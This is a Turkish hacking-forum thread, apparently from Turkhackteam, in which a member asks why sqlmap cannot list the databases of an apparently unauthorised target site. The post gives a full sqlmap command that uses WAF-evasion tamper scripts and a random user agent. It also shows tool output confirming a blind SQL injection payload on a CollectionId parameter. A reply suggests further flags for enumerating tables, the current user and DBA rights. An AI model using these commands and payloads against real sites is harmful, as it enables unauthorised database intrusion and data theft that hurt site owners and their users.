Sqlmap database names bulamıyor

LoCts

Üye
16 Haz 2014
198
3
KKTC
Selamun Aleyküm Dostlar
Yaklaşık 10 gündür araştrırıyorum bir türlü bulamadım bu hatanın sebebini

Kullanılan Kkomut : sqlmap -u "sqlaçık" --level=5 --risk=3 --tamper=between,randomcase,space2comment --random-agent --no-cast --tamper between.py --threads=10 --dbs --text-only

Çıktı: sqlmap resumed the following injection point(s) from stored session:
---
Parameter: CollectionId (GET)
Type: boolean-based blind
Title: MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)
Payload: version=7f2bd528-7148-5a76-d124-92ede5ee71c5&CollectionId=-3399) OR MAKE_SET(1194=1194,9679) AND (7971=7971
---
[03:10:41] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[03:10:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
back-end DBMS: MySQL <= 5.0.11
[03:10:42] [INFO] fetching database names
[03:10:42] [INFO] fetching number of databases
[03:10:42] [INFO] retrieved:
[03:10:43] [INFO] heuristics detected web page charset 'ascii'

[03:10:44] [ERROR] unable to retrieve the number of databases
[03:10:44] [INFO] falling back to current database
[03:10:44] [INFO] fetching current database
[03:10:44] [INFO] retrieving the length of query output
[03:10:44] [INFO] retrieved:
[03:10:44] [INFO] retrieved:
[03:11:04] [CRITICAL] unable to retrieve the database names
[03:11:04] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 133 times
[*] shutting down at 03:11:04
 

sevban035

Katılımcı Üye
18 Tem 2012
686
12
kaf
1- Şeklinde deniyebilirsin /// sqlmap -u "site.com/index.php?id=1" -p id --dbms mysql --D user_classifieds --tables"
2- Bu parametrelerle birlikte uygula --parse-errors --is-dba --current-user --technique=E
3- --text-only parametresini kaldır dene.

İngilizce kaynak bolca var göz gezdirdinmi babacan. =)
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.